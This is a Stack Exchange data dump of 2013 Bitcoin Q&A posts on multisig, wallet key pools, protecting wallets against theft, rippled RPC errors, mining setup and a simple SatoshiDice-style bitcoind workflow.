  <row Id="14056" PostTypeId="1" AcceptedAnswerId="14058" CreationDate="2013-10-25T02:30:06.597" Score="8" ViewCount="558" Body="&lt;p&gt;Would it be possible to make using Bitcoin illegal by posting child porn or similar highly illegal content in the message of a transaction? There are methods for having 'thin clients' that don't download the entire transaction history - would these be immune to an attack like this? How difficult would it be to track the sender of such material?&lt;/p&gt;&#xA;" OwnerUserId="533" LastActivityDate="2014-10-15T09:33:48.220" Title="Ramifications of illegal content in transaction messages?" Tags="|legal|message|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14057" PostTypeId="1" CreationDate="2013-10-25T04:14:48.533" Score="2" ViewCount="460" Body="&lt;p&gt;I'm trying to write a BIP11-compliant C# client that creates a 2 of 2 or 2 of 3 transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also trying to understand if a 3 of 3 transaction is supported as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://people.xiph.org/~greg/escrowexample.txt&quot; rel=&quot;nofollow&quot;&gt;This example says they are creating a PS2H address&lt;/a&gt;, but I'm unsure of exactly what script is being signed, and the meaning of the parameters &quot;2&quot; in addmultisigaddress, and what happens when addmultisigaddress is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have researched the BIP, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;RPC documentation&lt;/a&gt;, and the forums.  I'm getting confused where if and when the P2SH is needed.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2014-12-13T05:57:28.030" LastActivityDate="2015-01-14T16:18:06.110" Title="How exactly does BIP11 work, and how can it be used, particularly with/without P2SH?" Tags="|multi-signature|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14058" PostTypeId="2" ParentId="14056" CreationDate="2013-10-25T04:48:56.803" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Would it be possible to make using Bitcoin illegal by posting child porn or similar highly illegal content in the message of a transaction?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin, as a decentralised provision network of sorts, may have the &lt;a href=&quot;http://www.nolo.com/legal-encyclopedia/isp-liability-subscriber-acts-29564.html&quot; rel=&quot;noreferrer&quot;&gt;same protections&lt;/a&gt; as given to ISPs and content providers. So unless the government is gunning for Bitcoin anyway - I'd say &lt;strong&gt;no, Bitcoin can not be rendered illegal this way.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;There are methods for having 'thin clients' that don't download the entire transaction history - would these be immune to an attack like this?&lt;/em&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Obviously if you don't download the illegal content nor upload any intent to download &lt;em&gt;specifically&lt;/em&gt; that type of content - &lt;strong&gt;you should be safe with a thin-client&lt;/strong&gt;. But it limits the security of Bitcoin network considerably if only thin-clients were possible.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;How difficult would it be to track the sender of such material?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Not very difficult.&lt;/strong&gt; Bitcoin is not an inherently anonymous protocol. If the communication between nodes is not encrypted with &lt;a href=&quot;http://en.wikipedia.org/wiki/Forward_secrecy&quot; rel=&quot;noreferrer&quot;&gt;ephemeral TLS sessions&lt;/a&gt;, a mix service wouldn't provide any meaningful anonymity either.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-10-25T04:48:56.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14059" PostTypeId="2" ParentId="7317" CreationDate="2013-10-25T05:31:01.520" Score="2" Body="&lt;p&gt;Question: Cannot we build a currency that is decentralized like bitcoin, but that doesn't have the &quot;mining&quot; part of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to, one was already created years ago and is still up and running today. Bitcoin depends on currency creation to record transactions, you can't get around this because that is the design of it and how it works. The only one that approaches this in a different way is Timekoin. Transactions and Currency Creation are separate. Transactions can be processed like clockwork every 5 minutes with no currency being created, provided some currency already exist to spend. Currency Creation is also produced like clockwork in very small amounts. So anyone running the server software can create currency, but in a very gradual, controlled amounts as long as the strict rules are being followed.&lt;/p&gt;&#xA;" OwnerUserId="7180" LastActivityDate="2013-10-25T05:31:01.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14060" PostTypeId="2" ParentId="13966" CreationDate="2013-10-25T07:25:07.930" Score="5" Body="&lt;p&gt;Some merchants, exchanges or E-Wallets even may have age restrictions, but Bitcoin is a protocol and therefore there is no restrictions regarding how it is used.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-25T07:25:07.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14061" PostTypeId="2" ParentId="11428" CreationDate="2013-10-25T07:25:51.950" Score="1" Body="&lt;p&gt;If that really was a change address, its private key is included in your backup of the wallet, even if you can't see it in the client GUI; this is because Bitcoin-QT always keeps some (a hundred, IIRC) precomputed addresses ready, and uses them whenever you request a new address or it needs a change one. However, change addresses are never shown in your address list, so you couldn't see them even if this was your original wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those Bitcoins have really been sent to a change address, you'll still see them in your balance, and you'll be able to spend them. However, if your balance is actually less than before, then they'we been transferred somewhere else, thus the trojan hypothesis sadly applies.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-10-25T07:25:51.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14062" PostTypeId="1" CreationDate="2013-10-25T07:34:31.047" Score="1" ViewCount="359" Body="&lt;p&gt;Let's say I run a Bitcoin client on a computer (Windows, but the question can apply to other O.S.es too), and I want to make sure nobody steals it. I'm especially concerned about situations where someone gets full access to the computer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The computer is in a company network where domain admins can do anything they want to it.&lt;/li&gt;&#xA;&lt;li&gt;The computer is a laptop and gets stolen.&lt;/li&gt;&#xA;&lt;li&gt;The computer has a problem and I need to bring it to a computer shop (or call in a technician) to fix it.&lt;/li&gt;&#xA;&lt;li&gt;A trojan gets on the computer and instead of popping up random ads starts doing something much more useful and stealthy like looking for Bitcoin wallets to steal (somebody is going to create one of these sooner or later).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm assuming here that whoever gets access to the computer has full access to everything, even as my own user account, in the case of a technician or a trojan; no built-in O.S. security is to be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I be absolutely sure that nobody simply copies my wallet files, loads them somewhere else and steals all my Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-10-25T12:54:02.520" LastActivityDate="2013-10-25T12:55:23.133" Title="How to protect against wallet theft?" Tags="|wallet|security|theft|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14063" PostTypeId="1" CreationDate="2013-10-25T08:20:54.537" Score="0" ViewCount="2042" Body="&lt;p&gt;I am running rippled (standard configuration, I only changed &lt;code&gt;node_db&lt;/code&gt; to &lt;code&gt;Sqlite&lt;/code&gt;) and communicating with it through JSON RPC. On a few calls I get a response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'error_message': 'Network not available.', 'error_code': 12, 'error': 'noNetwork'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The example commands that are doing this are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;account_info{&quot;account&quot;:&quot;rhPT87PasaG27VqKjEsp5j2AWNSHUWJd9Y&quot;}&#xA;wallet_accounts{&quot;regular_seed&quot;:&quot;seed&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is causing this error to appear and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-10-25T23:34:51.020" Title="What is causing &quot;Network not available&quot; error in rippled RPC call and how to fix it?" Tags="|ripple|network|json-rpc|error|daemon|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14064" PostTypeId="2" ParentId="13966" CreationDate="2013-10-25T08:38:47.807" Score="1" Body="&lt;p&gt;Unless you are a miner, you do need to buy Bitcoins; and given the currently limited range of Bitcoin-only services, you do need to sell Bitcoins as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While neither buying or selling Bitcoins has an explicit age restriction any more than holding and spending pocket money at a car-boot sale does - if you buy or sell Bitcoins from a bank account you will be constrained by the age restrictions that may apply.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-10-25T08:38:47.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14065" PostTypeId="2" ParentId="1960" CreationDate="2013-10-25T09:24:56.197" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt; is an exchange located in Slovenia that accepts SEPA transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEPA deposits are offered at no charge, SEPA withdrawals cost 0.90€.&lt;/p&gt;&#xA;" OwnerUserId="7265" LastEditorUserId="5406" LastEditDate="2013-10-25T14:42:56.603" LastActivityDate="2013-10-25T14:42:56.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14067" PostTypeId="2" ParentId="14062" CreationDate="2013-10-25T12:55:23.133" Score="1" Body="&lt;p&gt;&lt;strong&gt;Physical access:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minimise your risk by using a deterministic wallet with Armory, and enabling extreme encryption and key stretching. The program will let you configure your wallets settings, and you can make it sting to the point of being completely ridiculous, seconds to open is enough to stop any attack on the password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Malware&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no protection against malware on a computer with a wallet. These exist already as pre-made tools, so it's hardly a stretch to think you might be infected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a hardware wallet like &lt;a href=&quot;http://www.bitcointrezor.com&quot; rel=&quot;nofollow&quot;&gt;the Bitcoin Trezor&lt;/a&gt; or a split-wallet with an offline portion with Armory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a split-wallet a computer is kept air-gapped and stores the private keys, and a separate one is used to manage the wallet. Transactions are ferried by USB drive between the machines, so the offline wallet is never at risk of compromise. This is the best option for storing large amounts of funds safely. &lt;/p&gt;&#xA;" OwnerUserId="7234" LastActivityDate="2013-10-25T12:55:23.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14069" PostTypeId="1" CreationDate="2013-10-25T13:31:36.547" Score="3" ViewCount="2150" Body="&lt;p&gt;From my understanding, bitcoind/bitcoin-qt uses a key pool for their wallet, so when you create a wallet you are actually creating not just one but many addresses for sending/receiving transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about multibit or electrum? Do they also use a key pool? What are the advantages and disadvantages of using a key pool vs. using a single address for the wallet?&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="5406" LastEditDate="2013-10-25T14:04:28.163" LastActivityDate="2013-10-26T13:01:49.673" Title="Key pool in wallet softwares" Tags="|wallet|bitcoin-core|multibit|electrum|keypool|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14070" PostTypeId="2" ParentId="14069" CreationDate="2013-10-25T14:01:51.790" Score="3" Body="&lt;p&gt;&lt;em&gt;Bitcoin-QT with standard settings will keep 100 unused addresses in your wallet at all times. The goal is that backups will be future proof to some extent.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A key pool allows to create backups in bigger intervals&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Every time you create a transaction, the remainder of the input balance is sent to a new address in your own wallet. If addresses were generated only then, you would have to create a new backup after each transaction, or be at risk to lose any funds associated with that new address if your wallet got lost. By keeping a pool of unused addresses in store, your backup will be sufficient for the next 100 transactions before you will be at risk of losing something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a bigger key pool, with e.g. 10000 keys, the client can be started with the parameter &lt;code&gt;-keypool=10000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have intimate knowledge of either multibit or electrum, but suspect that they keep a key pool for the exact same reason.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;One vs. many addresses&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;many addresses&lt;/strong&gt;, i.e. a new address for each transaction,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;increases your privacy by making it harder to determine that your different transactions belong to the same person. &lt;/li&gt;&#xA;&lt;li&gt;obfuscate which part of your transaction went to the recipient and which was the change. &lt;/li&gt;&#xA;&lt;li&gt;create &lt;em&gt;plausible deniability&lt;/em&gt; as sending funds to yourself looks the same as sending to another user. &lt;/li&gt;&#xA;&lt;li&gt;By giving out a new address for each incoming payment, it is easier associate payments to specific senders. &lt;em&gt;Say, you go out with a three business partners and each ends up owing you 0.10 BTC. How would you know who paid already, if you only received two payments to the same address?&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using only &lt;strong&gt;one address&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;allows your backup to last forever&lt;/li&gt;&#xA;&lt;li&gt;reduces the overhead if people send funds to you more than once.&lt;/li&gt;&#xA;&lt;li&gt;Your privacy, and the privacy of your business partners might be reduced.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-10-25T14:28:46.533" LastActivityDate="2013-10-25T14:28:46.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14072" PostTypeId="2" ParentId="14032" CreationDate="2013-10-25T20:08:20.323" Score="2" Body="&lt;p&gt;The &lt;code&gt;Hash256&lt;/code&gt; is essentially a &lt;code&gt;uint256&lt;/code&gt;.  However, after reading through much of the wiki and source, it appears that the &lt;code&gt;Hash256&lt;/code&gt; type is meant to be a generic, unsigned integer type that can store any form of hash that is larger than 128 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, all hashes mentioned in the &lt;a href=&quot;https://ripple.com/wiki/Ledger_Format#Tree_Formats&quot; rel=&quot;nofollow&quot;&gt;Tree Formats&lt;/a&gt; portion of the wiki are stored in &lt;code&gt;Hash256&lt;/code&gt; fields.  Some are 256-bits (I think?) while other mentioned hashes are 160-bit hashes that are padded with 0's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, I also noticed that when working with 256-bit hashes, Ripple often uses the first 256-bits of SHA-512 hash.  This is different than the typical SHA-256 hashes that are used with Bitcoin and most other alt-coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I know that a few of the Ripple devs participate in this site.  I would be greatly interested in their input.  The wiki and the source is quite cryptic in design-- almost obfuscated.  I had to follow quite a few rabbit trails to come up with the answer that I've provided.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-10-25T20:19:50.670" LastActivityDate="2013-10-25T20:19:50.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14073" PostTypeId="2" ParentId="7369" CreationDate="2013-10-25T21:16:47.033" Score="8" Body="&lt;p&gt;Creating a SatoshiDice-like game is rather easy.  Below are the high level steps involved in making such a game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each incoming transaction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get the customer amount and payment address&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind getrawtransaction [The incoming transaction ID] 1&lt;/code&gt;.  The 1 at the end will return the data in &quot;verbose mode&quot;, which essentially the raw data in JSON format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the raw transaction details, take the &lt;code&gt;txid&lt;/code&gt; and &lt;code&gt;vout&lt;/code&gt; from the &lt;code&gt;vin&lt;/code&gt; object.  With this transaction, again call &lt;code&gt;bitcoind getrawtransaction&lt;/code&gt; on the &lt;code&gt;txid&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From these raw transaction details find the &lt;code&gt;vout&lt;/code&gt; object, referenced by the &lt;code&gt;vout&lt;/code&gt; index from step #2.  Within this &lt;code&gt;vout&lt;/code&gt; object, there should be a list of payment recipient addresses.  Take and store the first address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Determine the Win/Loss state of the round and return the results&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Hash the &lt;code&gt;txid&lt;/code&gt;+&lt;code&gt;vout&lt;/code&gt; index of the transaction.  Seed your hash function with a secret key.  As an aside note, you will need to provide your secret key on a periodic basis.  Without updating and providing your secret keys, there is no way for your players to verify your fairness.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compare the last four bytes of your hash to determine the win/loss condition.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In case of a loss...&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind createrawtransaction&lt;/code&gt;.  You must pass in the originating &lt;code&gt;txid&lt;/code&gt; and &lt;code&gt;vout&lt;/code&gt; of your customers payment.  With the customers address, include a small, fractional value to send back to the customer.  This informs them that they've lost the round.  Also, include a second payment address that will receive the remaining portion of bitcoins from the customers originating payment.  This should be an address within your wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind signrawtransaction&lt;/code&gt; to sign the transaction.  If it returns a value of &lt;code&gt;complete=true&lt;/code&gt;, your transaction is valid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind sendrawtransaction&lt;/code&gt; and include the above constructed raw transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In case of a win&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Calculate the customers winning amount.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind listunspent&lt;/code&gt;.  This will return a list of inputted transactions that have not been spent by your wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a list of transactions to process as payments.  First, include the customer's originating &lt;code&gt;txid&lt;/code&gt; and &lt;code&gt;vout&lt;/code&gt; index of their payment.  Next, append to the list any number of unspent transactions (from step #1) that are necessary to pay your customer their winnings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to include an additional payment address that will receive the remaining portion of bitcoins from the final unspent transaction that may contain overages above the player's winnings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind createrawtransaction&lt;/code&gt;, passing in all of the transactions accumulated in step #3.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind signrawtransaction&lt;/code&gt; to sign the transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind sendrawtransaction&lt;/code&gt; and include the above constructed raw transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That's it!  That's a very simplistic, SatoshiDice processor.  You may want to add more validation, cache your transactions, monitor orphaned blocks and just integrate some other administrative routines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth mentioning that you always include a portion of the customers original payment with all of your return transactions.  This is because if their payment is orphaned, or is marked as invalid, you want to be sure that your transaction is also removed from the block-chain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method you can actually respond near-instantaneously and there is no need for confirmations.  If their transaction is malformed and rejected by the network, your transaction will also be thrown out by the network since it is a child of their original transaction.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-10-26T02:52:52.320" LastActivityDate="2013-10-26T02:52:52.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14075" PostTypeId="2" ParentId="14063" CreationDate="2013-10-25T22:44:03.620" Score="1" Body="&lt;p&gt;This error indicates that your server is not synchronized to the Ripple network and thus doesn't have current information. It's perfectly normal when your server first starts up -- it can take ten or fifteen minutes to sync up, depending on your bandwidth and hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should make sure you're actually connected to a few servers and have your validators correctly configured. The &lt;code&gt;server_info&lt;/code&gt; RPC command can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following config entries should help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ips]&#xA;23.23.201.55 51235&#xA;184.73.226.101 51235&#xA;54.225.112.220 51235&#xA;54.225.123.13 51235&#xA;&#xA;[validators]&#xA;n9KPnVLn7ewVzHvn218DcEYsnWLzKerTDwhpofhk4Ym1RUq4TeGw&#xA;n9LFzWuhKNvXStHAuemfRKFVECLApowncMAM5chSCL9R5ECHGN4V&#xA;n94rSdgTyBNGvYg8pZXGuNt59Y5bGAZGxbxyvjDaqD9ceRAgD85P&#xA;n9LeQeDcLDMZKjx1TZtrXoLBLo5q1bR1sUQrWG7tEADFU6R27UBp&#xA;n9KF6RpvktjNs2MDBkmxpJbup4BKrKeMKDXPhaXkq7cKTwLmWkFr&#xA;&#xA;[validation_quorum]&#xA;3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can resolve &lt;code&gt;r.ripple.com&lt;/code&gt; for a list of server IP addresses recommended by Ripple Labs. Currently the list is &lt;code&gt;54.225.123.13&lt;/code&gt;, &lt;code&gt;54.227.239.106&lt;/code&gt;, &lt;code&gt;107.21.251.218&lt;/code&gt;, &lt;code&gt;184.73.226.101&lt;/code&gt;, &lt;code&gt;23.23.201.55&lt;/code&gt;, and &lt;code&gt;54.225.112.220&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-10-25T23:34:51.020" LastActivityDate="2013-10-25T23:34:51.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14076" PostTypeId="2" ParentId="13161" CreationDate="2013-10-25T23:45:37.680" Score="2" Body="&lt;p&gt;You will never mine your own block while in a pool. The owner of the pool owns all the blocks mined. Your best bet is to buy some ASIC (butterfly labs?) box and let it roll. You could get lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two years ago I solo'ed with a Raedon card and got luck after about 4 months. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think with such a tiny amount of hashing power even being in a pool is not worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But again, you will never mine a block while in a pool, only part of a block.&lt;/p&gt;&#xA;" OwnerUserId="7275" LastActivityDate="2013-10-25T23:45:37.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14078" PostTypeId="1" CreationDate="2013-10-26T05:44:05.743" Score="3" ViewCount="4027" Body="&lt;p&gt;I just installed BFGMINER on my Ubuntu 12.04LTS laptop and it won't let me set it up with my pool.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator@T41-Server:~$ sudo bfgminer -o api.bitcoin.cz:8332 -u wizardmorax.ibm_ubuntu -px -S all&#xA;bfgminer: error while loading shared libraries: libblkmaker_jansson-0.1.so.0: cannot open shared object file: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I followed a tutorial for installing BFGMINER&#xA;&lt;a href=&quot;http://www.linuxconsultantsireland.com/content/bitcoin-mining-raspberry-pi-usb-asic-miner-block-erupter&quot; rel=&quot;nofollow&quot;&gt;http://www.linuxconsultantsireland.com/content/bitcoin-mining-raspberry-pi-usb-asic-miner-block-erupter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jackson&lt;/p&gt;&#xA;" OwnerUserId="7280" LastEditorUserId="7280" LastEditDate="2013-10-26T06:07:08.270" LastActivityDate="2013-11-30T20:52:14.783" Title="BFGMINER error while loading shared libraries" Tags="|linux|ubuntu|asic|bfgminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14079" PostTypeId="1" AcceptedAnswerId="14080" CreationDate="2013-10-26T07:21:58.377" Score="5" ViewCount="14177" Body="&lt;p&gt;Some bitcoin mining clients mine on a single worker, while other clients allow multiple workers.  How will either of these options affect mining production?&lt;/p&gt;&#xA;" OwnerUserId="7281" LastEditorUserId="5406" LastEditDate="2016-04-17T20:08:53.233" LastActivityDate="2017-03-20T22:58:54.943" Title="What is the difference between mining with multiple workers vs single?" Tags="|mining-pools|client|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14080" PostTypeId="2" ParentId="14079" CreationDate="2013-10-26T08:07:57.500" Score="8" Body="&lt;p&gt;Depends. Generally you'd use multiple workers when you have multiple machines (ie graphics cards, mining rigs, or a farm of USB sticks). In some cases you &lt;em&gt;could&lt;/em&gt; have them all combined and contributing to a single worker but usually this is not desirable because you'd want to keep track of how each device is performing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for no other reason, that certainly makes it easier to tell which one has crashed or is not working when problems arise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some hardware&amp;amp;software combinations might produce slightly more from running on two workers at once but in most cases I think that's unlikely. &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-10-26T08:07:57.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14081" PostTypeId="1" CreationDate="2013-10-26T11:00:34.033" Score="2" ViewCount="10725" Body="&lt;p&gt;I would like to know what bitcoin enthusiasts and experts would suggest me for earning or mining my first BTC. I own some BTC but the idea of mining is a lot more exciting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read some articles but it seems to me that I have already missed the big &quot;boom&quot; of mining year or two ago, when you could mine with GPU or even CPU. Some people say, that investing into ASIC miner is a non-sense because it takes a long time to deliver and during this time the &lt;strong&gt;difficulty of network&lt;/strong&gt; increases and when the ASIC miner finally arrives, you are satisfied when you don't loose money at the end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how do you mine? What is the best way to earn few bitcoins and don't loose money? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/gadgets/2013/06/how-a-total-n00b-mined-700-in-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is quiet exciting article that I read months ago, which turned out in great ROI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I would like to know, if it is good time to start mining for someone who haven't done that yet.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="5406" LastEditDate="2016-03-10T09:32:43.133" LastActivityDate="2023-01-11T20:42:26.823" Title="Best way to obtain/earn bitcoins" Tags="|asic|buy-bitcoins|mining-profitability|investing|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14082" PostTypeId="2" ParentId="14069" CreationDate="2013-10-26T11:08:16.733" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How about multibit or electrum? Do they also use a key pool?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Electrum is deterministic and addresses are derived from your seed. Each time you need a new address, Electrum calculates it and shows it in the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being deterministic lets Electrum &lt;strong&gt;recover your entire wallet addresses from your seed&lt;/strong&gt;, so you don't need to backup your wallet file every time you make a transaction.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2013-10-26T13:01:49.673" LastActivityDate="2013-10-26T13:01:49.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
